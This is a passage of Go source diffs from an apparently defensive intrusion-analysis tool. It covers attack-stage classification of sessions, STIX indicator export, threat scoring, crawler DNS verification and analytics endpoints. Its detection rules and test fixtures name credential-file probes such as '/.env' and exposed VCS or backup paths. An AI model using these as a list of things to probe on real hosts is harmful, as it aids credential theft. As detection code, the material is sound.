N int `json:"n"`
Cats map[string]int `json:"cats"`
Fams map[string]int `json:"fams"`
Techs []string `json:"techs"`
Hosts []string `json:"hosts"`
Domains []string `json:"domains"`
UsersN int `json:"users_n"`
PeakRPM int `json:"peak_rpm"`
Stage string `json:"stage"`
Success bool `json:"success"`
BannedAt *time.Time `json:"banned_at,omitempty"`
CampaignID string `json:"campaign_id,omitempty"`
}
// Step is one link of an escalation chain.
type Step struct {
Stage string `json:"stage"`
T time.Time `json:"t"`
Evidence string `json:"evidence"`
}
// Stages, in increasing severity.
const (
StageRecon = "recon"
StageProbe = "probe"
StageExploit = "exploit"
StageAccess = "access"
StageBanned = "banned"
)
// DefaultGap is the session gap used when Sessions gets a non-positive one.
const DefaultGap = 30 * time.Minute
const (
maxSessionEvents = 1_000_000
maxListed = 50
)
// StageRank orders stages (0 for none/unknown).
func StageRank(s string) int {
switch s {
case StageRecon:
return 1
case StageProbe:
return 2
case StageExploit:
return 3
case StageAccess:
return 4
case StageBanned:
return 5
}
return 0
}
var accessFams = map[string]bool{
FamEnvCreds: true, FamVCS: true, FamBackup: true, FamActuator: true,
FamPhpMyAdmin: true, FamAdminPanel: true,
}
func is2xx(s int) bool { return s >= 200 && s < 300 }
// stageOf gives the stage one event reaches. priorFail says the same IP had
// ssh-fail events before it.
func stageOf(e Ev, priorFail bool) (string, string) {
if e.Unban {
return "", ""
}
if is2xx(e.Status) && accessFams[e.Fam] && core.Category(e.Cat).IsHTTP() {
return StageAccess, e.Fam + " " + strconv.Itoa(e.Status) + " " + e.Path
}
switch core.Category(e.Cat) {
case core.NotFound:
return StageRecon, "notfound " + e.Path
case core.SSHProbe:
return StageRecon, "ssh-probe"
case core.Scanner:
return StageProbe, "scanner " + e.Path
case core.BruteForce:
return StageProbe, "bruteforce " + e.Path
case core.SSHFail:
return StageProbe, "ssh-fail " + e.User
case core.Exploit:
return StageExploit, "exploit " + e.Path
case core.SSHOK:
if priorFail {
return StageAccess, "ssh-ok after failures " + e.User
}
case core.Ban:
return StageBanned, "ban " + e.Jail
}
return "", ""
}
func shortHash(s string) string {
h := sha256.Sum256([]byte(s))
return hex.EncodeToString(h[:4])
}
func sortedKeys(m map[string]bool, limit int) []string {
out := make([]string, 0, len(m))
for k := range m {
out = append(out, k)
}
sort.Strings(out)
if limit > 0 && len(out) > limit {
out = out[:limit]
}
return out
}
// Sessions groups events by IP and splits each IP's timeline wherever two
// consecutive events are more than gap apart (default 30 min). Output is
// ordered by start time, then IP. At most 1,000,000 events are considered.
func Sessions(events []Ev, gap time.Duration) []Session {
if gap <= 0 {
gap = DefaultGap
}
if len(events) > maxSessionEvents {
events = events[:maxSessionEvents]
}
byIP := map[string][]Ev{}
for _, e := range events {
byIP[e.IP] = append(byIP[e.IP], e)
}
var out []Session
for ip, evs := range byIP {
sort.SliceStable(evs, func(i, j int) bool { return evs[i].T.Before(evs[j].T) })
priorFail := false
start := 0
for i := 1; i <= len(evs); i++ {
if i < len(evs) && evs[i].T.Sub(evs[i-1].T) <= gap {
continue
}
s, pf := buildSession(ip, evs[start:i], priorFail)
priorFail = pf
out = append(out, s)
start = i
}
}
sort.Slice(out, func(i, j int) bool {
if !out[i].Start.Equal(out[j].Start) {
return out[i].Start.Before(out[j].Start)
}
return out[i].IP < out[j].IP
})
return out
}
func buildSession(ip string, evs []Ev, priorFail bool) (Session, bool) {
s := Session{
IP: ip, Start: evs[0].T, End: evs[len(evs)-1].T, N: len(evs),
Cats: map[string]int{}, Fams: map[string]int{},
}
s.ID = "s-" + shortHash(ip+"|"+strconv.FormatInt(s.Start.UnixNano(), 10))
s.DurS = int64(s.End.Sub(s.Start).Seconds())
hosts, doms, techs := map[string]bool{}, map[string]bool{}, map[string]bool{}
users := map[string]int{}
best := 0
failsBefore := priorFail
times := make([]time.Time, 0, len(evs))
for _, e := range evs {
s.Cats[e.Cat]++
if e.Fam != "" {
s.Fams[e.Fam]++
}
if e.Host != "" {
hosts[e.Host] = true
}
if e.Domain != "" {
doms[e.Domain] = true
}
if e.User != "" && (e.Cat == string(core.SSHFail) || e.Cat == string(core.SSHOK)) {
users[e.User]++
}
if st, _ := stageOf(e, failsBefore); StageRank(st) > best {
best = StageRank(st)
s.Stage = st
}
if st, _ := stageOf(e, failsBefore); st == StageAccess {
s.Success = true
}
if e.Cat == string(core.Ban) && !e.Unban && s.BannedAt == nil {
t := e.T
s.BannedAt = &t
}
if e.Cat == string(core.SSHFail) {
failsBefore = true
}
times = append(times, e.T)
}
maxPer := 0
for _, c := range users {
if c > maxPer {
maxPer = c
}
}
s.UsersN = len(users)
fails := priorFail
for _, e := range evs {
ctx := TechCtx{Path: e.Path, Users: len(users), MaxPerUser: maxPer, PriorFails: fails}
for _, t := range Techniques(e.Cat, e.Fam, ctx) {
techs[t] = true
}
if e.Cat == string(core.SSHFail) {
fails = true
}
}
s.Techs = sortedKeys(techs, 0)
s.Hosts = sortedKeys(hosts, maxListed)
s.Domains = sortedKeys(doms, maxListed)
s.PeakRPM = CadenceFrom(times).BurstMax60
return s, failsBefore
}
// Escalation lists, in time order, each event of s that raised the session to
// a stage not yet reached, with the evidence behind it.
func Escalation(s Session, events []Ev) []Step {
var evs []Ev
fails := false
for _, e := range events {
if e.IP != s.IP {
continue
}
if e.T.Before(s.Start) {
fails = fails || e.Cat == string(core.SSHFail)
} else if !e.T.After(s.End) {
evs = append(evs, e)
}
}
sort.SliceStable(evs, func(i, j int) bool { return evs[i].T.Before(evs[j].T) })
var steps []Step
best := 0
for _, e := range evs {
if st, ev := stageOf(e, fails); StageRank(st) > best {
best = StageRank(st)
steps = append(steps, Step{Stage: st, T: e.T, Evidence: clipStr(ev, 200)})
}
if e.Cat == string(core.SSHFail) {
fails = true
}
}
return steps
}
func clipStr(s string, n int) string {
if len(s) > n {
return s[:n]
}
return s
}
+255
View File
@@ -0,0 +1,255 @@
package intel
import (
"crypto/sha1" //nolint:gosec // UUIDv5 is defined over SHA-1
"encoding/json"
"errors"
"fmt"
"net/netip"
"regexp"
"strings"
"time"
)
// stixNamespace is the fixed UUIDv5 namespace of every Urutau STIX id.
var stixNamespace = [16]byte{0x5a, 0x1f, 0x7c, 0x3e, 0x9d, 0x42, 0x4b, 0x6a, 0x8e, 0x01, 0xc4, 0xf7, 0x2b, 0x90, 0xd3, 0x6e}
func uuidV5(key string) string {
h := sha1.New() //nolint:gosec
h.Write(stixNamespace[:])
h.Write([]byte(key))
b := h.Sum(nil)[:16]
b[6] = b[6]&0x0f | 0x50
b[8] = b[8]&0x3f | 0x80
return fmt.Sprintf("%x-%x-%x-%x-%x", b[0:4], b[4:6], b[6:8], b[8:10], b[10:16])
}
func stixID(typ, key string) string { return typ + "--" + uuidV5(typ+":"+key) }
func stixTime(t time.Time) string { return t.UTC().Format("2006-01-02T15:04:05.000Z") }
type extRef struct {
SourceName string `json:"source_name"`
ExternalID string `json:"external_id,omitempty"`
URL string `json:"url,omitempty"`
}
type sdo struct {
Type string `json:"type"`
SpecVersion string `json:"spec_version"`
ID string `json:"id"`
Created string `json:"created"`
Modified string `json:"modified"`
Name string `json:"name,omitempty"`
Description string `json:"description,omitempty"`
IdentityClass string `json:"identity_class,omitempty"`
Pattern string `json:"pattern,omitempty"`
PatternType string `json:"pattern_type,omitempty"`
ValidFrom string `json:"valid_from,omitempty"`
ValidUntil string `json:"valid_until,omitempty"`
IndicatorTypes []string `json:"indicator_types,omitempty"`
Labels []string `json:"labels,omitempty"`
CreatedByRef string `json:"created_by_ref,omitempty"`
ExternalRefs []extRef `json:"external_references,omitempty"`
RelationshipTyp string `json:"relationship_type,omitempty"`
SourceRef string `json:"source_ref,omitempty"`
TargetRef string `json:"target_ref,omitempty"`
FirstSeen string `json:"first_seen,omitempty"`
LastSeen string `json:"last_seen,omitempty"`
Count int `json:"count,omitempty"`
SightingOfRef string `json:"sighting_of_ref,omitempty"`
WhereSighted []string `json:"where_sighted_refs,omitempty"`
}
type sco struct {
Type string `json:"type"`
SpecVersion string `json:"spec_version"`
ID string `json:"id"`
Value string `json:"value"`
}
type bundle struct {
Type string `json:"type"`
ID string `json:"id"`
Objects []any `json:"objects"`
}
var techIDRe = regexp.MustCompile(`^T\d{4}(\.\d{3})?$`)
const maxSTIXItems = 20
// STIXBundle builds a STIX 2.1 bundle describing one malicious IP: the Urutau
// identity, an indicator, the ipv4/ipv6 observable, a sighting, one
// attack-pattern per MITRE technique and "indicates"/"based-on" relationships.
// Ids are deterministic (UUIDv5 over fixed namespace and keys); created and
// modified are now. sightingOf optionally overrides the sighting's
// sighting_of_ref when it is a STIX id ("indicator--..."); otherwise the
// indicator is used.
func STIXBundle(ip string, first, last time.Time, count int, fams []string, techs []string, sightingOf string, now time.Time) ([]byte, error) {
ip = strings.TrimSpace(ip)
if strings.Contains(ip, "/") {
p, err := netip.ParsePrefix(ip)
if err != nil {
return nil, fmt.Errorf("stix: invalid prefix: %w", err)
}
return STIXBundlePrefix(p, first, last, count, fams, techs, sightingOf, now)
}
addr, err := netip.ParseAddr(ip)
if err != nil {
return nil, fmt.Errorf("stix: invalid ip: %w", err)
}
addr = addr.Unmap().WithZone("")
return stixBundle(addr.String(), addr.Is6(), first, last, count, fams, techs, sightingOf, now)
}
// STIXBundlePrefix is STIXBundle for a network prefix (for instance the /64
// key used for IPv6 sources): the indicator pattern and the observable carry
// the CIDR ("[ipv6-addr:value = '2001:db8::/64']"). A single-address prefix
// is treated as that address.
func STIXBundlePrefix(p netip.Prefix, first, last time.Time, count int, fams []string, techs []string, sightingOf string, now time.Time) ([]byte, error) {
if !p.IsValid() {
return nil, errors.New("stix: invalid prefix")
}
a := p.Addr().WithZone("")
if a.Is4In6() {
a = a.Unmap()
bits := p.Bits() - 96
if bits < 0 {
return nil, errors.New("stix: invalid prefix")
}
p = netip.PrefixFrom(a, bits)
}
p = p.Masked()
if p.Bits() == p.Addr().BitLen() {
return stixBundle(p.Addr().String(), p.Addr().Is6(), first, last, count, fams, techs, sightingOf, now)
}
return stixBundle(p.String(), p.Addr().Is6(), first, last, count, fams, techs, sightingOf, now)
}
func stixBundle(ipStr string, v6 bool, first, last time.Time, count int, fams []string, techs []string, sightingOf string, now time.Time) ([]byte, error) {
scoType := "ipv4-addr"
if v6 {
scoType = "ipv6-addr"
}
if last.Before(first) {
first, last = last, first
}
if count < 1 {
count = 1
}
ts := stixTime(now)
base := func(typ, key string) sdo {
return sdo{Type: typ, SpecVersion: "2.1", ID: stixID(typ, key), Created: ts, Modified: ts}
}
ident := base("identity", "urutau")
ident.Name, ident.IdentityClass = "Urutau", "system"
lset := map[string]bool{}
for _, f := range fams {
if f != "" {
lset[strings.ToLower(f)] = true
}
}
ind := base("indicator", ipStr)
ind.Name = "Malicious IP " + ipStr
ind.Pattern = fmt.Sprintf("[%s:value = '%s']", scoType, ipStr)
ind.PatternType = "stix"
ind.ValidFrom = stixTime(first)
ind.ValidUntil = stixTime(last.Add(30 * 24 * time.Hour))
ind.IndicatorTypes = []string{"malicious-activity"}
ind.Labels = sortedKeys(lset, maxSTIXItems)
ind.CreatedByRef = ident.ID
obs := sco{Type: scoType, SpecVersion: "2.1", ID: stixID(scoType, ipStr), Value: ipStr}
sight := base("sighting", ipStr)
sight.FirstSeen, sight.LastSeen, sight.Count = stixTime(first), stixTime(last), count
sight.SightingOfRef = ind.ID
if strings.HasPrefix(sightingOf, "indicator--") {
sight.SightingOfRef = sightingOf
}
sight.WhereSighted = []string{ident.ID}
sight.CreatedByRef = ident.ID
objs := []any{ident, ind, obs, sight}
rel := func(src, typ, dst string) sdo {
r := base("relationship", src+"|"+typ+"|"+dst)
r.RelationshipTyp, r.SourceRef, r.TargetRef = typ, src, dst
return r
}
objs = append(objs, rel(ind.ID, "based-on", obs.ID))
tset := map[string]bool{}
for _, t := range techs {
if techIDRe.MatchString(t) {
tset[t] = true
}
}
for _, t := range sortedKeys(tset, maxSTIXItems) {
ap := base("attack-pattern", t)
ap.Name = TechniqueName(t)
if ap.Name == "" {
ap.Name = t
}
ap.ExternalRefs = []extRef{{SourceName: "mitre-attack", ExternalID: t,
URL: "https://attack.mitre.org/techniques/" + strings.ReplaceAll(t, ".", "/") + "/"}}
objs = append(objs, ap, rel(ind.ID, "indicates", ap.ID))
}
b := bundle{Type: "bundle", ID: stixID("bundle", ipStr), Objects: objs}
return json.MarshalIndent(b, "", " ")
}
var stixIDRe = regexp.MustCompile(`^[a-z][a-z0-9-]*--[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$`)
// ValidateSTIX checks the structural minimum of a STIX 2.1 bundle: bundle
// shape, and for every SDO/SRO the fields type, spec_version "2.1", id,
// created and modified; SCOs need type, spec_version and id. Ids must match
// their type and reference ids must be well formed.
func ValidateSTIX(data []byte) error {
var b struct {
Type string `json:"type"`
ID string `json:"id"`
Objects []map[string]any `json:"objects"`
}
if err := json.Unmarshal(data, &b); err != nil {
return err
}
if b.Type != "bundle" || !stixIDRe.MatchString(b.ID) || !strings.HasPrefix(b.ID, "bundle--") {
return errors.New("stix: bad bundle header")
}
if len(b.Objects) == 0 {
return errors.New("stix: empty bundle")
}
ids := map[string]bool{}
for _, o := range b.Objects {
typ, _ := o["type"].(string)
id, _ := o["id"].(string)
if typ == "" || !strings.HasPrefix(id, typ+"--") || !stixIDRe.MatchString(id) {
return fmt.Errorf("stix: bad type/id %q %q", typ, id)
}
if o["spec_version"] != "2.1" {
return fmt.Errorf("stix: %s missing spec_version 2.1", id)
}
if !strings.HasSuffix(typ, "-addr") {
for _, f := range []string{"created", "modified"} {
if s, _ := o[f].(string); s == "" {
return fmt.Errorf("stix: %s missing %s", id, f)
}
}
}
if ids[id] {
return fmt.Errorf("stix: duplicate id %s", id)
}
ids[id] = true
}
for _, o := range b.Objects {
for _, f := range []string{"source_ref", "target_ref", "sighting_of_ref", "created_by_ref"} {
if r, ok := o[f].(string); ok && !ids[r] && !strings.HasPrefix(r, "indicator--") {
return fmt.Errorf("stix: dangling %s %s", f, r)
}
}
}
return nil
}
+172
View File
@@ -0,0 +1,172 @@
package intel
import (
"sort"
"strconv"
)
// Reason is one stable-coded explanation for a verdict. Text is an i18n key
// ("intel.reason.<code>"); Params carry the values to interpolate.
type Reason struct {
Code string `json:"code"`
Text string `json:"text"`
Weight float64 `json:"weight"`
N int `json:"n"`
Params map[string]string `json:"params,omitempty"`
}
// ReasonInput is what the backend knows about a source.
type ReasonInput struct {
ExploitsRefused map[string]int // refused (4xx/5xx) exploit attempts by family
ToolUA string // attack-tool label, "" when none
BannedJails []string // jails that banned it
Categories int // distinct malicious categories seen
Exposure map[string]int // 2xx answers on sensitive families
SSHOKAfterBrute bool // ssh login after brute force
Admin bool // the source is an administrator
Immune bool // the source is whitelisted
}
// Reason codes.
const (
ReasonExploitsRefused = "exploits_refused"
ReasonToolUA = "tool_ua"
ReasonBannedJail = "banned_jail"
ReasonMultiCategory = "multi_category"
ReasonExposure = "exposure"
ReasonSSHAfterBrute = "ssh_login_after_bruteforce"
ReasonAdmin = "admin"
ReasonImmune = "immune"
)
func mkReason(code string, w float64, n int, params map[string]string) Reason {
return Reason{Code: code, Text: "intel.reason." + code, Weight: w, N: n, Params: params}
}
func sumMap(m map[string]int) (n int, keys []string) {
for k, v := range m {
if v > 0 {
n += v
keys = append(keys, k)
}
}
sort.Strings(keys)
return
}
func join(keys []string) string {
s := ""
for i, k := range keys {
if i >= 5 {
break
}
if i > 0 {
s += ", "
}
s += k
}
return s
}
// Reasons explains why a source is considered hostile, heaviest first.
func Reasons(in ReasonInput) []Reason {
var out []Reason
if n, fams := sumMap(in.ExploitsRefused); n > 0 {
out = append(out, mkReason(ReasonExploitsRefused, 0.35, n, map[string]string{"families": join(fams), "n": strconv.Itoa(n)}))
}
if in.ToolUA != "" {
out = append(out, mkReason(ReasonToolUA, 0.15, 1, map[string]string{"tool": clipStr(in.ToolUA, 80)}))
}
if n := len(in.BannedJails); n > 0 {
out = append(out, mkReason(ReasonBannedJail, 0.2, n, map[string]string{"jails": join(in.BannedJails)}))
}
if in.Categories >= 2 {
out = append(out, mkReason(ReasonMultiCategory, 0.1, in.Categories, map[string]string{"n": strconv.Itoa(in.Categories)}))
}
if n, fams := sumMap(in.Exposure); n > 0 {
out = append(out, mkReason(ReasonExposure, 0.5, n, map[string]string{"families": join(fams), "n": strconv.Itoa(n)}))
}
if in.SSHOKAfterBrute {
out = append(out, mkReason(ReasonSSHAfterBrute, 0.9, 1, nil))
}
if in.Admin {
out = append(out, mkReason(ReasonAdmin, -0.5, 1, nil))
}
if in.Immune {
out = append(out, mkReason(ReasonImmune, -1, 1, nil))
}
sort.SliceStable(out, func(i, j int) bool { return out[i].Weight > out[j].Weight })
return out
}
// Action is a suggested response.
type Action struct {
Code string `json:"code"`
Priority int `json:"priority"` // 1 = most urgent
Reason string `json:"reason"` // code of the Reason behind it
}
// Action codes.
const (
ActionBlock = "block"
ActionReport = "report"
ActionInvestigate = "investigate"
ActionIncident = "incident"
)
// ActionInput feeds Actions.
type ActionInput struct {
Reasons []Reason
Banned bool // already blocked
Immune bool
Admin bool
Stage string // highest session stage reached
}
// Actions suggests responses. Immune or admin sources get none. A successful
// login after brute force or a 2xx on a sensitive path raises an incident and
// an investigation; block applies when not yet banned and the evidence is
// strong (score >= 0.5 or exploit stage or above); report when the score
// reaches 0.5.
func Actions(in ActionInput) []Action {
if in.Immune || in.Admin {
return nil
}
score := 0.0
has := map[string]bool{}
for _, r := range in.Reasons {
has[r.Code] = true
if r.Code == ReasonAdmin || r.Code == ReasonImmune {
return nil
}
score += r.Weight
}
var out []Action
switch {
case has[ReasonSSHAfterBrute]:
out = append(out, Action{ActionIncident, 1, ReasonSSHAfterBrute})
case has[ReasonExposure]:
out = append(out, Action{ActionIncident, 1, ReasonExposure})
}
if has[ReasonSSHAfterBrute] || has[ReasonExposure] {
code := ReasonExposure
if has[ReasonSSHAfterBrute] {
code = ReasonSSHAfterBrute
}
out = append(out, Action{ActionInvestigate, 2, code})
}
if !in.Banned && (score >= 0.5 || StageRank(in.Stage) >= StageRank(StageExploit)) {
out = append(out, Action{ActionBlock, 3, topCode(in.Reasons)})
}
if score >= 0.5 {
out = append(out, Action{ActionReport, 4, topCode(in.Reasons)})
}
return out
}
func topCode(rs []Reason) string {
if len(rs) == 0 {
return ""
}
return rs[0].Code
}
+58
View File
@@ -0,0 +1,58 @@
package rdns
import (
"context"
"errors"
"testing"
)
func TestFCrDNS(t *testing.T) {
r := New()
calls := 0
r.lookup = func(_ context.Context, ip string) ([]string, error) {
calls++
switch ip {
case "66.249.66.1":
return []string{"crawl-66-249-66-1.googlebot.com."}, nil
case "6.6.6.6": // claims to be google, forward does not confirm
return []string{"fake.googlebot.com."}, nil
case "7.7.7.7": // reverse name outside the allowed domains
return []string{"host.evil.example."}, nil
case "157.55.39.1":
return []string{"msnbot-157-55-39-1.search.msn.com."}, nil
}
return nil, errors.New("nxdomain")
}
r.forward = func(_ context.Context, name string) ([]string, error) {
switch name {
case "crawl-66-249-66-1.googlebot.com":
return []string{"66.249.66.1"}, nil
case "fake.googlebot.com":
return []string{"1.2.3.4"}, nil
case "msnbot-157-55-39-1.search.msn.com":
return []string{"157.55.39.1"}, nil
}
return nil, errors.New("nxdomain")
}
g := []string{"googlebot.com", "google.com"}
if !r.FCrDNS("66.249.66.1", g) {
t.Fatal("real googlebot must verify")
}
if r.FCrDNS("6.6.6.6", g) || r.FCrDNS("7.7.7.7", g) || r.FCrDNS("8.8.8.8", g) {
t.Fatal("impostors must fail")
}
if r.FCrDNS("66.249.66.1", []string{"search.msn.com"}) {
t.Fatal("a Google address is not Bing")
}
if !r.FCrDNS("157.55.39.1", []string{"search.msn.com"}) {
t.Fatal("bingbot")
}
n := calls
r.FCrDNS("66.249.66.1", g)
if calls != n {
t.Fatal("results must be cached")
}
if r.FCrDNS("10.0.0.1", g) || r.FCrDNS("garbage", g) || r.FCrDNS("fe80::1%eth0", g) {
t.Fatal("private and invalid addresses are never looked up")
}
}
+87
View File
@@ -3,6 +3,7 @@ package rdns
import (
"context"
"errors"
"net"
"net/netip"
"strings"
@@ -10,6 +11,11 @@ import (
"time"
)
type fcrEntry struct {
ok bool
exp time.Time
}
type entry struct {
name string
exp time.Time
@@ -21,6 +27,8 @@ type Resolver struct {
Timeout time.Duration
MaxSize int
lookup func(ctx context.Context, ip string) ([]string, error)
forward func(ctx context.Context, name string) ([]string, error)
fcr map[string]fcrEntry
mu sync.Mutex
cache map[string]entry
@@ -33,9 +41,88 @@ func New() *Resolver {
r := &Resolver{TTL: 24 * time.Hour, Timeout: 2 * time.Second, MaxSize: 4000,
cache: map[string]entry{}, pending: map[string]bool{}, queue: make(chan string, 256)}
r.lookup = func(ctx context.Context, ip string) ([]string, error) { return net.DefaultResolver.LookupAddr(ctx, ip) }
r.forward = func(ctx context.Context, name string) ([]string, error) {
return net.DefaultResolver.LookupHost(ctx, name)
}
r.fcr = map[string]fcrEntry{}
return r
}
// FCrDNS checks forward-confirmed reverse DNS for a crawler that claims to be
// one: the reverse name must end in one of suffixes (each given as
// "googlebot.com") and a forward lookup of that name must give the address
// back. It is synchronous with a short timeout (1.5 s) and cached for 24 h.
func (r *Resolver) FCrDNS(ip string, suffixes []string) bool {
a, err := netip.ParseAddr(ip)
if err != nil || a.Zone() != "" || a.IsPrivate() || a.IsLoopback() || a.IsUnspecified() {
return false
}
a = a.Unmap()
key := a.String() + "|" + strings.Join(suffixes, ",")
r.mu.Lock()
if e, ok := r.fcr[key]; ok && time.Now().Before(e.exp) {
r.mu.Unlock()
return e.ok
}
r.mu.Unlock()
ok, transient := r.fcrdns(a, suffixes)
ttl := r.TTL
if transient {
ttl = time.Minute // a timeout or a server failure says nothing: look again soon
}
r.mu.Lock()
if len(r.fcr) >= r.MaxSize {
r.fcr = map[string]fcrEntry{}
}
r.fcr[key] = fcrEntry{ok, time.Now().Add(ttl)}
r.mu.Unlock()
return ok
}
// isFinal reports whether a DNS error is an answer (the name does not exist)
// rather than a transient failure.
func isFinal(err error) bool {
var de *net.DNSError
return errors.As(err, &de) && de.IsNotFound
}
func (r *Resolver) fcrdns(a netip.Addr, suffixes []string) (ok, transient bool) {
ctx, cancel := context.WithTimeout(context.Background(), 1500*time.Millisecond)
defer cancel()
names, err := r.lookup(ctx, a.String())
if err != nil {
return false, !isFinal(err)
}
for i, n := range names {
if i >= 3 {
break
}
n = strings.ToLower(strings.TrimSuffix(n, "."))
match := false
for _, s := range suffixes {
if n == s || strings.HasSuffix(n, "."+s) {
match = true
}
}
if !match {
continue
}
addrs, err := r.forward(ctx, n)
if err != nil {
if !isFinal(err) {
transient = true
}
continue
}
for _, x := range addrs {
if b, err := netip.ParseAddr(x); err == nil && b.Unmap() == a {
return true, false
}
}
}
return false, transient
}
// Lookup returns the cached name ("" when unknown or not resolvable yet) and
// queues the address for resolution. It never blocks.
func (r *Resolver) Lookup(ip string) string {
+36
View File
@@ -0,0 +1,36 @@
package rdns
import (
"context"
"errors"
"net"
"testing"
"time"
)
func TestFCrDNSTransientFailureIsNotCachedForADay(t *testing.T) {
r := New()
r.lookup = func(context.Context, string) ([]string, error) { return nil, errors.New("i/o timeout") }
if r.FCrDNS("66.249.66.1", []string{"googlebot.com"}) {
t.Fatal("a timeout is not a confirmation")
}
var exp time.Time
for _, e := range r.fcr {
exp = e.exp
}
if time.Until(exp) > 2*time.Minute {
t.Fatalf("a transient failure must be retried soon, expires in %v", time.Until(exp))
}
// the name really does not exist: that answer is final
r2 := New()
r2.lookup = func(context.Context, string) ([]string, error) {
return nil, &net.DNSError{Err: "no such host", IsNotFound: true}
}
r2.FCrDNS("66.249.66.2", []string{"googlebot.com"})
for _, e := range r2.fcr {
exp = e.exp
}
if time.Until(exp) < 23*time.Hour {
t.Fatalf("NXDOMAIN keeps the long TTL: %v", time.Until(exp))
}
}
+71
View File
@@ -0,0 +1,71 @@
package server
import (
"net/http"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
// Temporal analytics: GET /api/v1/evolution, /concentration and /survival.
// They accept range|from&to and host, study the event registry within the
// study budget and deadline (cached 30 s) and share the user-side study slots.
func init() {
registerUserRoute("GET /api/v1/evolution", func(s *Server) http.HandlerFunc { return s.analytics("evolution") })
registerUserRoute("GET /api/v1/concentration", func(s *Server) http.HandlerFunc { return s.analytics("concentration") })
registerUserRoute("GET /api/v1/survival", func(s *Server) http.HandlerFunc { return s.analytics("survival") })
}
func (s *Server) analytics(kind string) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
q := r.URL.Query()
if q.Get("range") == "" && q.Get("from") == "" {
if kind == "evolution" {
q.Set("range", "30d")
} else {
q.Set("range", "7d")
}
r.URL.RawQuery = q.Encode()
}
rg, ok := s.rangeOf(w, r)
if !ok {
return
}
host := q.Get("host")
if len(host) > 64 {
badRequest(w, "invalid host")
return
}
if host == "all" {
host = ""
}
if host != "" && host != s.opt.Store.Name() && (s.opt.Hub == nil || !s.opt.Hub.Has(host)) {
writeJSON(w, http.StatusNotFound, map[string]string{"error": "unknown host"})
return
}
dim := q.Get("dim")
if kind == "concentration" {
if dim == "" {
dim = "ip"
}
if !store.ConcentrationDims[dim] {
badRequest(w, "dim must be ip, asn, country, path or domain")
return
}
}
if !s.userSlot(w) {
return
}
defer func() { <-s.user }()
from, to := rg.Bounds(s.opt.Now().Unix())
st := s.opt.Store
switch kind {
case "evolution":
writeJSON(w, 200, st.Evolution(from, to, host))
case "concentration":
writeJSON(w, 200, st.Concentration(from, to, host, dim))
default:
writeJSON(w, 200, st.Survival(from, to, host))
}
}
}
+57
View File
@@ -0,0 +1,57 @@
package server
import (
"path/filepath"
"testing"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/evlog"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
func TestAnalyticsAPI(t *testing.T) {
st := store.New(store.Config{Name: "oracle", Version: "t", Retention: 720 * time.Hour})
l, _ := evlog.Open(evlog.Options{Dir: filepath.Join(t.TempDir(), "events")})
st.SetEventLog(l)
now := time.Now()
for i := 0; i < 5; i++ {
st.Ingest(core.Event{Time: now.Add(-time.Hour - time.Duration(i)*time.Minute), IP: "20.0.0.1", Cat: core.Scanner, Source: "traefik", Domain: "a.example", Method: "GET", Path: "/.env", Status: 404, UA: "zgrab/0.x"})
}
st.Ingest(core.Event{Time: now.Add(-time.Hour), IP: "20.0.0.2", Cat: core.Scanner, Source: "traefik", Domain: "a.example", Method: "GET", Path: "/x", Status: 404})
st.Ingest(core.Event{Time: now.Add(-30 * time.Minute), IP: "20.0.0.1", Cat: core.Ban, Source: "fail2ban", Jail: "sshd"})
h := New(Options{Token: userTok, Version: "t", Store: st})
auth := map[string]string{"Authorization": "Bearer " + userTok}
e := getJSON(t, h, "/api/v1/evolution", auth)
if e["total"].(float64) != 6 || len(e["days"].([]any)) < 30 || len(e["hour_dow"].([]any)) != 7 {
t.Fatalf("evolution: %v", e)
}
for _, k := range []string{"new_families", "gone_families", "delta_pct"} {
if _, ok := e[k]; !ok {
t.Errorf("evolution misses %s", k)
}
}
c := getJSON(t, h, "/api/v1/concentration?dim=ip&range=24h", auth)
items := c["items"].([]any)
if c["total"].(float64) != 6 || len(items) != 2 || items[0].(map[string]any)["key"] != "20.0.0.1" {
t.Fatalf("concentration: %v", c)
}
v := getJSON(t, h, "/api/v1/survival?range=24h", auth)
if v["km"] == nil || v["by_family"] == nil || v["recidivists"] == nil || v["banned"].(float64) != 1 {
t.Fatalf("survival: %v", v)
}
for path, want := range map[string]int{
"/api/v1/concentration?dim=nope": 400,
"/api/v1/survival?range=bogus": 400,
"/api/v1/evolution?host=nowhere": 404,
"/api/v1/concentration?dim=path&host": 200,
} {
if w := do(h, "GET", path, cloneHdr(auth), nil); w.Code != want {
t.Errorf("%s: %d want %d", path, w.Code, want)
}
}
if w := do(h, "GET", "/api/v1/survival", nil, nil); w.Code != 401 && w.Code != 302 && w.Code != 403 {
t.Errorf("anonymous: %d", w.Code)
}
}
+93
View File
@@ -0,0 +1,93 @@
package server
import (
"net/http"
"regexp"
"strconv"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
var campaignIDRe = regexp.MustCompile(`^[A-Za-z0-9_-]{1,64}$`)
func init() {
registerUserRoute("GET /api/v1/campaigns", func(s *Server) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
p, ok := s.periodStudy(w, r)
if !ok {
return
}
writeJSON(w, 200, store.CampaignsOf(p))
}
})
registerUserRoute("GET /api/v1/campaigns/{id}", func(s *Server) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
if !campaignIDRe.MatchString(id) {
badRequest(w, "invalid campaign id")
return
}
p, ok := s.periodStudy(w, r)
if !ok {
return
}
d, found := store.CampaignOf(p, id)
if !found {
writeJSON(w, http.StatusNotFound, map[string]string{"error": "unknown campaign"})
return
}
writeJSON(w, 200, d)
}
})
}
// periodStudy runs the same study as /api/v1/period (same filters, user
// semaphore, peers merged) and answers the errors itself.
func (s *Server) periodStudy(w http.ResponseWriter, r *http.Request) (store.PeriodOut, bool) {
eq, ok := s.eventFilter(w, r, 24*time.Hour)
if !ok {
return store.PeriodOut{}, false
}
if !s.userSlot(w) {
return store.PeriodOut{}, false
}
defer func() { <-s.user }()
pq := store.PeriodQuery{From: eq.From, To: eq.To, IP: eq.IP, Cat: eq.Cat, Fam: eq.Fam}
if v := r.URL.Query().Get("gap"); v != "" {
n, err := strconv.ParseInt(v, 10, 64)
